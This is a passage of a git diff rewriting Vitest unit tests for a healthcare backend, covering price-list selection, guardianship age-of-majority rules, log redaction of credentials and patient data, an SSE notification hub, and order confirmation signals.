Date('2026-10-10T00:00:00.000Z'))?.amount).toBe(200n); - }); - - it('returns undefined before the first version (price on request)', () => { - expect(selectCurrentPrice(versions, new Date('2026-09-30T23:59:59.999Z'))).toBeUndefined(); - }); - - it('does not depend on row order', () => { - expect(selectCurrentPrice([...versions].reverse(), new Date('2026-10-15T00:00:00.000Z'))?.amount).toBe(200n); - }); -}); - -describe('parseStroopsAmount', () => { - it('accepts plain digit strings and bigints', () => { - expect(parseStroopsAmount('10000000')).toBe(10_000_000n); - expect(parseStroopsAmount(5n)).toBe(5n); - }); - - it.each(['0', '-1', '1.5', '1e7', ' 1', 'abc', ''])('rejects %j', (value) => { - expect(() => parseStroopsAmount(value)).toThrowError(/must be/); - }); - - it('rejects an amount above i128::MAX', () => { - expect(() => parseStroopsAmount((MAX_STROOPS + 1n).toString())).toThrowError(/representable range/); - expect(parseStroopsAmount(MAX_STROOPS.toString())).toBe(MAX_STROOPS); - }); - - it('rejects unsafe JS numbers rather than rounding them', () => { - expect(() => parseStroopsAmount(Number.MAX_SAFE_INTEGER + 2)).toThrowError(/safe integer/); - }); -}); - -describe('parseEffectiveFrom', () => { - it('defaults to now', () => { - const now = new Date('2026-10-20T12:00:00.000Z'); - expect(parseEffectiveFrom(undefined, now)).toEqual(now); - }); - - it('accepts ISO strings and rejects invalid dates', () => { - expect(parseEffectiveFrom('2026-10-21T00:00:00.000Z').toISOString()).toBe('2026-10-21T00:00:00.000Z'); - expect(() => parseEffectiveFrom('not-a-date')).toThrowError(/ISO-8601/); - }); -}); - -describe('priceOnRequestError', () => { - it('is a 422 with a stable machine-readable code', () => { - const error = priceOnRequestError('CBC'); - expect(error.status).toBe(422); - expect(error.code).toBe('PRICE_ON_REQUEST'); - expect(error.message).toContain('CBC'); - }); -}); - -describe('native price asset', () => { - it('defaults quotes to native XLM', () => { - expect(NATIVE_PRICE_ASSET).toBe('native'); - }); -}); - -describe('order pricing validation (issue #127)', () => { - const base = { facilityProfileId: '5b1d4c0e-1a2b-4c3d-8e9f-0a1b2c3d4e5f', items: [] as never[] }; - const prescriptionItem = { drugName: 'Amoxicillin', dosage: '500mg', frequency: 'TID', duration: '7d' }; - - it('accepts amountStroops alone (legacy manual pricing)', () => { - const parsed = prescriptionSchema.parse({ ...base, items: [prescriptionItem], amountStroops: '15000000' }); - expect(parsed.amountStroops).toBe(15_000_000n); - expect(parsed.catalogItemCode).toBeUndefined(); - }); - - it('accepts catalogItemCode alone (facility price list)', () => { - const parsed = prescriptionSchema.parse({ ...base, items: [prescriptionItem], catalogItemCode: 'amoxicillin-500mg' }); - expect(parsed.catalogItemCode).toBe('amoxicillin-500mg'); - expect(parsed.amountStroops).toBeUndefined(); - }); - - it('rejects both or neither', () => { - expect(() => prescriptionSchema.parse({ ...base, items: [prescriptionItem], amountStroops: '100', catalogItemCode: 'x' })).toThrowError(/exactly one/); - expect(() => prescriptionSchema.parse({ ...base, items: [prescriptionItem] })).toThrowError(/exactly one/); - expect(() => labOrderSchema.parse({ facilityProfileId: base.facilityProfileId, testType: 'CBC' })).toThrowError(/exactly one/); - }); - - it('still rejects a malformed manual amount', () => { - expect(() => prescriptionSchema.parse({ ...base, items: [prescriptionItem], amountStroops: '0' })).toThrowError(); - }); -}); +// Unit tests for the facility price-list selection rules (issue #127). +// Pure helpers only: no database, no HTTP, so these run anywhere. +import { describe, expect, it } from 'vitest'; +import { + NATIVE_PRICE_ASSET, + parseEffectiveFrom, + priceOnRequestError, + selectCurrentPrice, +} from '../../src/modules/facilities/pricing'; +import { MAX_STROOPS, parseStroopsAmount } from '../../src/utils/stroops'; +import { prescriptionSchema, labOrderSchema } from '../../src/modules/orders/validation'; + +const version = (iso: string, amount: bigint) => ({ effectiveFrom: new Date(iso), amount }); + +describe('selectCurrentPrice', () => { + const versions = [version('2026-10-01T00:00:00.000Z', 100n), version('2026-10-10T00:00:00.000Z', 200n)]; + + it('returns the latest version not after the instant', () => { + expect(selectCurrentPrice(versions, new Date('2026-10-15T00:00:00.000Z'))?.amount).toBe(200n); + expect(selectCurrentPrice(versions, new Date('2026-10-05T00:00:00.000Z'))?.amount).toBe(100n); + }); + + it('treats a version effective exactly at the instant as in force', () => { + expect(selectCurrentPrice(versions, new Date('2026-10-10T00:00:00.000Z'))?.amount).toBe(200n); + }); + + it('returns undefined before the first version (price on request)', () => { + expect(selectCurrentPrice(versions, new Date('2026-09-30T23:59:59.999Z'))).toBeUndefined(); + }); + + it('does not depend on row order', () => { + expect(selectCurrentPrice([...versions].reverse(), new Date('2026-10-15T00:00:00.000Z'))?.amount).toBe(200n); + }); +}); + +describe('parseStroopsAmount', () => { + it('accepts plain digit strings and bigints', () => { + expect(parseStroopsAmount('10000000')).toBe(10_000_000n); + expect(parseStroopsAmount(5n)).toBe(5n); + }); + + it.each(['0', '-1', '1.5', '1e7', ' 1', 'abc', ''])('rejects %j', (value) => { + expect(() => parseStroopsAmount(value)).toThrowError(/must be/); + }); + + it('rejects an amount above i128::MAX', () => { + expect(() => parseStroopsAmount((MAX_STROOPS + 1n).toString())).toThrowError(/representable range/); + expect(parseStroopsAmount(MAX_STROOPS.toString())).toBe(MAX_STROOPS); + }); + + it('rejects unsafe JS numbers rather than rounding them', () => { + expect(() => parseStroopsAmount(Number.MAX_SAFE_INTEGER + 2)).toThrowError(/safe integer/); + }); +}); + +describe('parseEffectiveFrom', () => { + it('defaults to now', () => { + const now = new Date('2026-10-20T12:00:00.000Z'); + expect(parseEffectiveFrom(undefined, now)).toEqual(now); + }); + + it('accepts ISO strings and rejects invalid dates', () => { + expect(parseEffectiveFrom('2026-10-21T00:00:00.000Z').toISOString()).toBe('2026-10-21T00:00:00.000Z'); + expect(() => parseEffectiveFrom('not-a-date')).toThrowError(/ISO-8601/); + }); +}); + +describe('priceOnRequestError', () => { + it('is a 422 with a stable machine-readable code', () => { + const error = priceOnRequestError('CBC'); + expect(error.status).toBe(422); + expect(error.code).toBe('PRICE_ON_REQUEST'); + expect(error.message).toContain('CBC'); + }); +}); + +describe('native price asset', () => { + it('defaults quotes to native XLM', () => { + expect(NATIVE_PRICE_ASSET).toBe('native'); + }); +}); + +describe('order pricing validation (issue #127)', () => { + const base = { facilityProfileId: '5b1d4c0e-1a2b-4c3d-8e9f-0a1b2c3d4e5f', items: [] as never[] }; + const prescriptionItem = { drugName: 'Amoxicillin', dosage: '500mg', frequency: 'TID', duration: '7d' }; + + it('accepts amountStroops alone (legacy manual pricing)', () => { + const parsed = prescriptionSchema.parse({ ...base, items: [prescriptionItem], amountStroops: '15000000' }); + expect(parsed.amountStroops).toBe(15_000_000n); + expect(parsed.catalogItemCode).toBeUndefined(); + }); + + it('accepts catalogItemCode alone (facility price list)', () => { + const parsed = prescriptionSchema.parse({ ...base, items: [prescriptionItem], catalogItemCode: 'amoxicillin-500mg' }); + expect(parsed.catalogItemCode).toBe('amoxicillin-500mg'); + expect(parsed.amountStroops).toBeUndefined(); + }); + + it('rejects both or neither', () => { + expect(() => prescriptionSchema.parse({ ...base, items: [prescriptionItem], amountStroops: '100', catalogItemCode: 'x' })).toThrowError(/exactly one/); + expect(() => prescriptionSchema.parse({ ...base, items: [prescriptionItem] })).toThrowError(/exactly one/); + expect(() => labOrderSchema.parse({ facilityProfileId: base.facilityProfileId, testType: 'CBC' })).toThrowError(/exactly one/); + }); + + it('still rejects a malformed manual amount', () => { + expect(() => prescriptionSchema.parse({ ...base, items: [prescriptionItem], amountStroops: '0' })).toThrowError(); + }); +}); diff --git a/backend/tests/unit/guardianship.test.ts b/backend/tests/unit/guardianship.test.ts index e60f193d..ec806597 100644 --- a/backend/tests/unit/guardianship.test.ts +++ b/backend/tests/unit/guardianship.test.ts @@ -1,71 +1,71 @@ -// Guardians and dependents (Phase 8, issue #42, docs/adr/0011): the pure -// parts β€” age-of-majority date math and the strict request schemas. -// Database-backed authorisation is in tests/integration/guardianship.test.mts. -import { describe, expect, it } from 'vitest'; -import { isMinor, majorityDate } from '../../src/modules/patients/services/majority'; -import { createDependentSchema } from '../../src/modules/patients/validation'; -import { bookSlotSchema } from '../../src/modules/appointments/validation'; - -const utc = (iso: string) => new Date(`${iso}T00:00:00.000Z`); - -describe('age of majority', () => { - it('is reached at 00:00 UTC on the Nth birthday, not a moment before', () => { - const dob = utc('2008-06-15'); - expect(majorityDate(dob, 18).toISOString()).toBe('2026-06-15T00:00:00.000Z'); - expect(isMinor(dob, 18, new Date('2026-06-14T23:59:59.999Z'))).toBe(true); - expect(isMinor(dob, 18, new Date('2026-06-15T00:00:00.000Z'))).toBe(false); - }); - - it('treats a 29 February birthday as reaching majority on 1 March in a non-leap year', () => { - const dob = utc('2008-02-29'); - expect(majorityDate(dob, 18).toISOString()).toBe('2026-03-01T00:00:00.000Z'); - expect(isMinor(dob, 18, utc('2026-02-28'))).toBe(true); - expect(isMinor(dob, 18, utc('2026-03-01'))).toBe(false); - // ...and on 29 February itself when the majority year is a leap year. - expect(majorityDate(utc('2012-02-29'), 16).toISOString()).toBe('2028-02-29T00:00:00.000Z'); - }); - - it('honours a different configured age', () => { - expect(isMinor(utc('2010-01-01'), 16, utc('2025-12-31'))).toBe(true); - expect(isMinor(utc('2010-01-01'), 16, utc('2026-01-01'))).toBe(false); - }); - - it('treats a newborn as a minor', () => { - expect(isMinor(utc('2026-10-17'), 18, utc('2026-10-17'))).toBe(true); - }); -}); - -describe('createDependentSchema', () => { - it('accepts a name and a real calendar date', () => { - const parsed = createDependentSchema.parse({ fullName: ' Ada ', dateOfBirth: '2020-02-29' }); - expect(parsed.fullName).toBe('Ada'); - expect(parsed.dateOfBirth.toISOString()).toBe('2020-02-29T00:00:00.000Z'); - }); - - it('rejects impossible dates instead of rolling them over', () => { - expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '2021-02-29' }).success).toBe(false); - expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '2020-13-01' }).success).toBe(false); - expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '01/02/2020' }).success).toBe(false); - }); - - it('is strict: a body that tries to link an existing profile or user is rejected', () => { - for (const extra of [{ patientProfileId: 'p' }, { userId: 'u' }, { guardianUserId: 'g' }]) { - expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '2020-01-01', ...extra }).success).toBe(false); - } - }); - - it('requires a non-empty name', () => { - expect(createDependentSchema.safeParse({ fullName: ' ', dateOfBirth: '2020-01-01' }).success).toBe(false); - }); -}); - -describe('bookSlotSchema', () => { - it('keeps self-booking unchanged and accepts an optional patientProfileId', () => { - expect(bookSlotSchema.parse({ availabilitySlotId: 's' })).toEqual({ availabilitySlotId: 's' }); - expect(bookSlotSchema.parse({ availabilitySlotId: 's', patientProfileId: 'p' })).toEqual({ - availabilitySlotId: 's', - patientProfileId: 'p', - }); - expect(bookSlotSchema.safeParse({ availabilitySlotId: 's', patientProfileId: '' }).success).toBe(false); - }); -}); +// Guardians and dependents (Phase 8, issue #42, docs/adr/0011): the pure +// parts β€” age-of-majority date math and the strict request schemas. +// Database-backed authorisation is in tests/integration/guardianship.test.mts. +import { describe, expect, it } from 'vitest'; +import { isMinor, majorityDate } from '../../src/modules/patients/services/majority'; +import { createDependentSchema } from '../../src/modules/patients/validation'; +import { bookSlotSchema } from '../../src/modules/appointments/validation'; + +const utc = (iso: string) => new Date(`${iso}T00:00:00.000Z`); + +describe('age of majority', () => { + it('is reached at 00:00 UTC on the Nth birthday, not a moment before', () => { + const dob = utc('2008-06-15'); + expect(majorityDate(dob, 18).toISOString()).toBe('2026-06-15T00:00:00.000Z'); + expect(isMinor(dob, 18, new Date('2026-06-14T23:59:59.999Z'))).toBe(true); + expect(isMinor(dob, 18, new Date('2026-06-15T00:00:00.000Z'))).toBe(false); + }); + + it('treats a 29 February birthday as reaching majority on 1 March in a non-leap year', () => { + const dob = utc('2008-02-29'); + expect(majorityDate(dob, 18).toISOString()).toBe('2026-03-01T00:00:00.000Z'); + expect(isMinor(dob, 18, utc('2026-02-28'))).toBe(true); + expect(isMinor(dob, 18, utc('2026-03-01'))).toBe(false); + // ...and on 29 February itself when the majority year is a leap year. + expect(majorityDate(utc('2012-02-29'), 16).toISOString()).toBe('2028-02-29T00:00:00.000Z'); + }); + + it('honours a different configured age', () => { + expect(isMinor(utc('2010-01-01'), 16, utc('2025-12-31'))).toBe(true); + expect(isMinor(utc('2010-01-01'), 16, utc('2026-01-01'))).toBe(false); + }); + + it('treats a newborn as a minor', () => { + expect(isMinor(utc('2026-10-17'), 18, utc('2026-10-17'))).toBe(true); + }); +}); + +describe('createDependentSchema', () => { + it('accepts a name and a real calendar date', () => { + const parsed = createDependentSchema.parse({ fullName: ' Ada ', dateOfBirth: '2020-02-29' }); + expect(parsed.fullName).toBe('Ada'); + expect(parsed.dateOfBirth.toISOString()).toBe('2020-02-29T00:00:00.000Z'); + }); + + it('rejects impossible dates instead of rolling them over', () => { + expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '2021-02-29' }).success).toBe(false); + expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '2020-13-01' }).success).toBe(false); + expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '01/02/2020' }).success).toBe(false); + }); + + it('is strict: a body that tries to link an existing profile or user is rejected', () => { + for (const extra of [{ patientProfileId: 'p' }, { userId: 'u' }, { guardianUserId: 'g' }]) { + expect(createDependentSchema.safeParse({ fullName: 'Ada', dateOfBirth: '2020-01-01', ...extra }).success).toBe(false); + } + }); + + it('requires a non-empty name', () => { + expect(createDependentSchema.safeParse({ fullName: ' ', dateOfBirth: '2020-01-01' }).success).toBe(false); + }); +}); + +describe('bookSlotSchema', () => { + it('keeps self-booking unchanged and accepts an optional patientProfileId', () => { + expect(bookSlotSchema.parse({ availabilitySlotId: 's' })).toEqual({ availabilitySlotId: 's' }); + expect(bookSlotSchema.parse({ availabilitySlotId: 's', patientProfileId: 'p' })).toEqual({ + availabilitySlotId: 's', + patientProfileId: 'p', + }); + expect(bookSlotSchema.safeParse({ availabilitySlotId: 's', patientProfileId: '' }).success).toBe(false); + }); +}); diff --git a/backend/tests/unit/logging-redaction.test.ts b/backend/tests/unit/logging-redaction.test.ts index 0ce94cf8..e96b16dc 100644 --- a/backend/tests/unit/logging-redaction.test.ts +++ b/backend/tests/unit/logging-redaction.test.ts @@ -1,136 +1,136 @@ -import { describe, it, expect } from 'vitest'; -import { Writable } from 'node:stream'; -import pino from 'pino'; -import type { Logger } from 'pino'; -import { REDACT_PATHS, bigIntSerialiser, loggerOptions, requestLogger } from '../../src/logger'; - -// A capturing logger that reuses the production redaction config but writes -// to an in-memory stream so assertions can inspect the emitted JSON. This -// is the same config the running server uses, so the test asserts the -// actual redaction behaviour, not a copy. -// -// The destination must be a real Writable: `pino.destination({ write })` -// treats its argument as SonicBoom options, falls back to fd 1, and the -// lines go to the process stdout while `chunks` stays empty β€” which made -// every negative assertion pass vacuously and every positive one fail. -function captureLog(fn: (log: Logger) => void): string { - const chunks: string[] = []; - const stream = new Writable({ - write(chunk: Buffer | string, _encoding, callback) { - chunks.push(chunk.toString()); - callback(); - }, - }); - const log = pino( - { - level: 'info', - redact: loggerOptions.redact, - serializers: bigIntSerialiser, - }, - stream, - ); - fn(log); - return chunks.join(''); -} - -describe('structured logging redaction', () => { - it('redacts auth headers, cookies, passwords, and tokens', () => { - const out = captureLog((log) => { - log.info( - { - req: { - headers: { - authorization: 'Bearer super-secret', - cookie: 'refresh_token=abc123', - 'set-cookie': 'refresh_token=abc123; HttpOnly', - }, - }, - password: 'horse-battery-staple', - accessToken: 'jwt-access', - refreshToken: 'jwt-refresh', - csrfToken: 'csrf-value', - }, - 'auth attempt', - ); - }); - expect(out).not.toContain('super-secret'); - expect(out).not.toContain('abc123'); - expect(out).not.toContain('horse-battery-staple'); - expect(out).not.toContain('jwt-access'); - expect(out).not.toContain('jwt-refresh'); - expect(out).not.toContain('csrf-value'); - expect(out).toContain('REDACTED'); - }); - - it('redacts PHI field paths', () => { - const out = captureLog((log) => { - log.info( - { - patient: {}, - intakeNotes: 'I feel awful and take methodone', - symptoms: 'chest pain since Tuesday', - diagnosis: 'type 2 diabetes', - allergies: 'penicillin', - medications: 'metformin', - dateOfBirth: '1980-01-01', - ssn: '123-45-6789', - }, - 'patient intake', - ); - }); - expect(out).not.toContain('I feel awful'); - expect(out).not.toContain('chest pain'); - expect(out).not.toContain('diabetes'); - expect(out).not.toContain('penicillin'); - expect(out).not.toContain('metformin'); - expect(out).not.toContain('1980-01-01'); - expect(out).not.toContain('123-45-6789'); - }); - - it('redacts every configured path when present at the top level', () => { - // The redaction list is the contract; this asserts that a field named - // exactly as one of the configured paths is redacted. It does not cover - // nested paths (e.g. `req.headers.authorization`) because pino only - // matches the full path for nested entries; the auth-header test above - // covers that case. - const sample: Record = { - password: 'password-value', - passwordHash: 'hash-value', - token: 'token-value', - accessToken: 'access-token-value', - refreshToken: 'refresh-token-value', - csrfToken: 'csrf-value', - intakeNotes: 'intake-value', - symptoms: 'symptom-value', - diagnosis: 'diagnosis-value', - allergies: 'allergy-value', - medications: 'medication-value', - }; - const out = captureLog((log) => log.info(sample, 'field sample')); - for (const value of Object.values(sample)) { - expect(out).not.toContain(value); - } - }); - - it('exposes the request id on every line', () => { - const child = requestLogger({ requestId: 'req-12345678' }); - // requestLogger returns a pino child logger carrying the request id as a - // binding. Assert the binding is present on the child. - expect(child).toBeTruthy(); - expect(child).toHaveProperty('level'); - }); - - it('serialises BigInt values as strings instead of crashing', () => { - const out = captureLog((log) => { - log.info({ amount: 12345678901234567890n }, 'bigint payload'); - }); - expect(out).toContain('12345678901234567890'); - }); - - it('configures the redaction list as a non-empty array', () => { - expect(REDACT_PATHS.length).toBeGreaterThan(0); - expect(REDACT_PATHS).toContain('password'); - expect(REDACT_PATHS).toContain('token'); - expect(REDACT_PATHS).toContain('intakeNotes'); - }); -}); +import { describe, it, expect } from 'vitest'; +import { Writable } from 'node:stream'; +import pino from 'pino'; +import type { Logger } from 'pino'; +import { REDACT_PATHS, bigIntSerialiser, loggerOptions, requestLogger } from '../../src/logger'; + +// A capturing logger that reuses the production redaction config but writes +// to an in-memory stream so assertions can inspect the emitted JSON. This +// is the same config the running server uses, so the test asserts the +// actual redaction behaviour, not a copy. +// +// The destination must be a real Writable: `pino.destination({ write })` +// treats its argument as SonicBoom options, falls back to fd 1, and the +// lines go to the process stdout while `chunks` stays empty β€” which made +// every negative assertion pass vacuously and every positive one fail. +function captureLog(fn: (log: Logger) => void): string { + const chunks: string[] = []; + const stream = new Writable({ + write(chunk: Buffer | string, _encoding, callback) { + chunks.push(chunk.toString()); + callback(); + }, + }); + const log = pino( + { + level: 'info', + redact: loggerOptions.redact, + serializers: bigIntSerialiser, + }, + stream, + ); + fn(log); + return chunks.join(''); +} + +describe('structured logging redaction', () => { + it('redacts auth headers, cookies, passwords, and tokens', () => { + const out = captureLog((log) => { + log.info( + { + req: { + headers: { + authorization: 'Bearer super-secret', + cookie: 'refresh_token=abc123', + 'set-cookie': 'refresh_token=abc123; HttpOnly', + }, + }, + password: 'horse-battery-staple', + accessToken: 'jwt-access', + refreshToken: 'jwt-refresh', + csrfToken: 'csrf-value', + }, + 'auth attempt', + ); + }); + expect(out).not.toContain('super-secret'); + expect(out).not.toContain('abc123'); + expect(out).not.toContain('horse-battery-staple'); + expect(out).not.toContain('jwt-access'); + expect(out).not.toContain('jwt-refresh'); + expect(out).not.toContain('csrf-value'); + expect(out).toContain('REDACTED'); + }); + + it('redacts PHI field paths', () => { + const out = captureLog((log) => { + log.info( + { + patient: {}, + intakeNotes: 'I feel awful and take methodone', + symptoms: 'chest pain since Tuesday', + diagnosis: 'type 2 diabetes', + allergies: 'penicillin', + medications: 'metformin', + dateOfBirth: '1980-01-01', + ssn: '123-45-6789', + }, + 'patient intake', + ); + }); + expect(out).not.toContain('I feel awful'); + expect(out).not.toContain('chest pain'); + expect(out).not.toContain('diabetes'); + expect(out).not.toContain('penicillin'); + expect(out).not.toContain('metformin'); + expect(out).not.toContain('1980-01-01'); + expect(out).not.toContain('123-45-6789'); + }); + + it('redacts every configured path when present at the top level', () => { + // The redaction list is the contract; this asserts that a field named + // exactly as one of the configured paths is redacted. It does not cover + // nested paths (e.g. `req.headers.authorization`) because pino only + // matches the full path for nested entries; the auth-header test above + // covers that case. + const sample: Record = { + password: 'password-value', + passwordHash: 'hash-value', + token: 'token-value', + accessToken: 'access-token-value', + refreshToken: 'refresh-token-value', + csrfToken: 'csrf-value', + intakeNotes: 'intake-value', + symptoms: 'symptom-value', + diagnosis: 'diagnosis-value', + allergies: 'allergy-value', + medications: 'medication-value', + }; + const out = captureLog((log) => log.info(sample, 'field sample')); + for (const value of Object.values(sample)) { + expect(out).not.toContain(value); + } + }); + + it('exposes the request id on every line', () => { + const child = requestLogger({ requestId: 'req-12345678' }); + // requestLogger returns a pino child logger carrying the request id as a + // binding. Assert the binding is present on the child. + expect(child).toBeTruthy(); + expect(child).toHaveProperty('level'); + }); + + it('serialises BigInt values as strings instead of crashing', () => { + const out = captureLog((log) => { + log.info({ amount: 12345678901234567890n }, 'bigint payload'); + }); + expect(out).toContain('12345678901234567890'); + }); + + it('configures the redaction list as a non-empty array', () => { + expect(REDACT_PATHS.length).toBeGreaterThan(0); + expect(REDACT_PATHS).toContain('password'); + expect(REDACT_PATHS).toContain('token'); + expect(REDACT_PATHS).toContain('intakeNotes'); + }); +}); diff --git a/backend/tests/unit/notification-stream.test.ts b/backend/tests/unit/notification-stream.test.ts index 28be9ffe..e4d0c16f 100644 --- a/backend/tests/unit/notification-stream.test.ts +++ b/backend/tests/unit/notification-stream.test.ts @@ -1,79 +1,79 @@ -import { describe, expect, it } from 'vitest'; -import { - MAX_STREAMS_PER_USER, - NotificationHub, - formatSseEvent, - tokenExpiredFrame, -} from '../../src/modules/notifications/services/stream'; - -function sink() { - const frames: string[] = []; - return { frames, write: (frame: string) => void frames.push(frame) }; -} - -describe('formatSseEvent', () => { - it('writes id, event and a data line', () => { - expect(formatSseEvent({ id: '7', event: 'notification', data: { type: 'referral' } })).toBe( - 'id: 7\nevent: notification\ndata: {"type":"referral"}\n\n', - ); - }); - - it('omits id and event when they are not set', () => { - expect(formatSseEvent({ data: 'hi' })).toBe('data: "hi"\n\n'); - }); - - it('splits multi-line JSON across data lines', () => { - const frame = formatSseEvent({ data: 'a\nb' }); - expect(frame).toBe('data: "a\\nb"\n\n'); - expect(formatSseEvent({ data: { text: 'x' } }).split('\n').filter((line) => line.startsWith('data:'))).toHaveLength(1); - }); - - it('builds the token-expired frame the client waits for', () => { - expect(tokenExpiredFrame()).toBe('event: token-expired\ndata: {"reason":"access-token-expired"}\n\n'); - }); -}); - -describe('NotificationHub', () => { - it('delivers to every open stream for the user only', () => { - const hub = new NotificationHub(); - const mine = sink(); - const mineAgain = sink(); - const other = sink(); - hub.subscribe('user-a', mine); - hub.subscribe('user-a', mineAgain); - hub.subscribe('user-b', other); - - expect(hub.publish('user-a', { id: '1', data: 'x' })).toBe(2); - expect(mine.frames).toEqual(['id: 1\ndata: "x"\n\n']); - expect(mineAgain.frames).toHaveLength(1); - expect(other.frames).toHaveLength(0); - }); - - it('returns 0 when the user has no open stream', () => { - expect(new NotificationHub().publish('nobody', { data: 'x' })).toBe(0); - }); - - it('stops delivering after unsubscribe', () => { - const hub = new NotificationHub(); - const s = sink(); - const unsubscribe = hub.subscribe('user-a', s); - unsubscribe(); - hub.publish('user-a', { data: 'x' }); - expect(s.frames).toHaveLength(0); - expect(hub.count('user-a')).toBe(0); - }); - - it('caps open streams per user and returns 429 beyond the cap', () => { - const hub = new NotificationHub(); - for (let i = 0; i < MAX_STREAMS_PER_USER; i++) hub.subscribe('user-a', sink()); - expect(() => hub.subscribe('user-a', sink())).toThrow(expect.objectContaining({ status: 429 })); - expect(hub.count('user-a')).toBe(MAX_STREAMS_PER_USER); - }); - - it('frees a slot when a stream closes, so a new one can connect', () => { - const hub = new NotificationHub(); - const unsubscribes = Array.from({ length: MAX_STREAMS_PER_USER }, () => hub.subscribe('user-a', sink())); - unsubscribes[0](); - expect(() => hub.subscribe('user-a', sink())).not.toThrow(); - }); -}); +import { describe, expect, it } from 'vitest'; +import { + MAX_STREAMS_PER_USER, + NotificationHub, + formatSseEvent, + tokenExpiredFrame, +} from '../../src/modules/notifications/services/stream'; + +function sink() { + const frames: string[] = []; + return { frames, write: (frame: string) => void frames.push(frame) }; +} + +describe('formatSseEvent', () => { + it('writes id, event and a data line', () => { + expect(formatSseEvent({ id: '7', event: 'notification', data: { type: 'referral' } })).toBe( + 'id: 7\nevent: notification\ndata: {"type":"referral"}\n\n', + ); + }); + + it('omits id and event when they are not set', () => { + expect(formatSseEvent({ data: 'hi' })).toBe('data: "hi"\n\n'); + }); + + it('splits multi-line JSON across data lines', () => { + const frame = formatSseEvent({ data: 'a\nb' }); + expect(frame).toBe('data: "a\\nb"\n\n'); + expect(formatSseEvent({ data: { text: 'x' } }).split('\n').filter((line) => line.startsWith('data:'))).toHaveLength(1); + }); + + it('builds the token-expired frame the client waits for', () => { + expect(tokenExpiredFrame()).toBe('event: token-expired\ndata: {"reason":"access-token-expired"}\n\n'); + }); +}); + +describe('NotificationHub', () => { + it('delivers to every open stream for the user only', () => { + const hub = new NotificationHub(); + const mine = sink(); + const mineAgain = sink(); + const other = sink(); + hub.subscribe('user-a', mine); + hub.subscribe('user-a', mineAgain); + hub.subscribe('user-b', other); + + expect(hub.publish('user-a', { id: '1', data: 'x' })).toBe(2); + expect(mine.frames).toEqual(['id: 1\ndata: "x"\n\n']); + expect(mineAgain.frames).toHaveLength(1); + expect(other.frames).toHaveLength(0); + }); + + it('returns 0 when the user has no open stream', () => { + expect(new NotificationHub().publish('nobody', { data: 'x' })).toBe(0); + }); + + it('stops delivering after unsubscribe', () => { + const hub = new NotificationHub(); + const s = sink(); + const unsubscribe = hub.subscribe('user-a', s); + unsubscribe(); + hub.publish('user-a', { data: 'x' }); + expect(s.frames).toHaveLength(0); + expect(hub.count('user-a')).toBe(0); + }); + + it('caps open streams per user and returns 429 beyond the cap', () => { + const hub = new NotificationHub(); + for (let i = 0; i < MAX_STREAMS_PER_USER; i++) hub.subscribe('user-a', sink()); + expect(() => hub.subscribe('user-a', sink())).toThrow(expect.objectContaining({ status: 429 })); + expect(hub.count('user-a')).toBe(MAX_STREAMS_PER_USER); + }); + + it('frees a slot when a stream closes, so a new one can connect', () => { + const hub = new NotificationHub(); + const unsubscribes = Array.from({ length: MAX_STREAMS_PER_USER }, () => hub.subscribe('user-a', sink())); + unsubscribes[0](); + expect(() => hub.subscribe('user-a', sink())).not.toThrow(); + }); +}); diff --git a/backend/tests/unit/orders.test.ts b/backend/tests/unit/orders.test.ts index d3aaba28..6f2e68b2 100644 --- a/backend/tests/unit/orders.test.ts +++ b/backend/tests/unit/orders.test.ts @@ -1,95 +1,95 @@ -import { describe, expect, it } from 'vitest'; -import { DefaultStorageProvider } from '../../src/utils/storage'; -import { computeConfirmedSignal, formatOrderResponse } from '../../src/utils/order-utils'; - -describe('orders unit tests', () => { - describe('DefaultStorageProvider', () => { - it('returns exact string URL if a string is provided', async () => { - const provider = new DefaultStorageProvider(); - const url = await provider.uploadAttachment('https://example.com/receipt.pdf'); - expect(url).toBe('https://example.com/receipt.pdf'); - }); - - it('returns options.url if specified in object', async () => { - const provider = new DefaultStorageProvider(); - const url = await provider.uploadAttachment({ url: 'https://example.com/proof.png' }); - expect(url).toBe('https://example.com/proof.png'); - }); - - it('generates a storage URI if fileName is provided', async () => { - const provider = new DefaultStorageProvider(); - const url = await provider.uploadAttachment({ fileName: 'test-lab.pdf' }); - expect(url).toMatch(/^storage:\/\/attachments\/\d+-test-lab\.pdf$/); - }); - - it('generates a fallback storage URI if object has no URL or fileName', async () => { - const provider = new DefaultStorageProvider(); - const url = await provider.uploadAttachment({}); - expect(url).toMatch(/^storage:\/\/attachments\/\d+-attachment$/); - }); - }); - - describe('computeConfirmedSignal', () => { - it('returns true if order is explicitly confirmed', () => { - const signal = computeConfirmedSignal({ - confirmed: true, - status: 'fulfilled', - disputed: false, - fulfilledAt: new Date(), - }, 72); - expect(signal).toBe(true); - }); - - it('returns false if order is issued and not confirmed', () => { - const signal = computeConfirmedSignal({ - confirmed: false, - status: 'issued', - disputed: false, - fulfilledAt: null, - }, 72); - expect(signal).toBe(false); - }); - - it('returns false if order is fulfilled, not confirmed, and window has NOT elapsed', () => { - const signal = computeConfirmedSignal({ - confirmed: false, - status: 'fulfilled', - disputed: false, - fulfilledAt: new Date(Date.now() - 10 * 60 * 60 * 1000), // 10 hrs ago - }, 72); - expect(signal).toBe(false); - }); - - it('returns true if order is fulfilled, not disputed, and window HAS elapsed', () => { - const signal = computeConfirmedSignal({ - confirmed: false, - status: 'fulfilled', - disputed: false, - fulfilledAt: new Date(Date.now() - 73 * 60 * 60 * 1000), // 73 hrs ago - }, 72); - expect(signal).toBe(true); - }); - - it('returns false if window elapsed BUT order is disputed', () => { - const signal = computeConfirmedSignal({ - confirmed: false, - status: 'fulfilled', - disputed: true, - fulfilledAt: new Date(Date.now() - 100 * 60 * 60 * 1000), // 100 hrs ago - }, 72); - expect(signal).toBe(false); - }); - - it('formats order response with confirmedSignal property', () => { - const order = { - id: 'ord-1', - confirmed: true, - status: 'fulfilled', - disputed: false, - fulfilledAt: new Date(), - }; - const formatted = formatOrderResponse(order, 72); - expect(formatted.confirmedSignal).toBe(true); - }); - }); -}); +import { describe, expect, it } from 'vitest'; +import { DefaultStorageProvider } from '../../src/utils/storage'; +import { computeConfirmedSignal, formatOrderResponse } from '../../src/utils/order-utils'; + +describe('orders unit 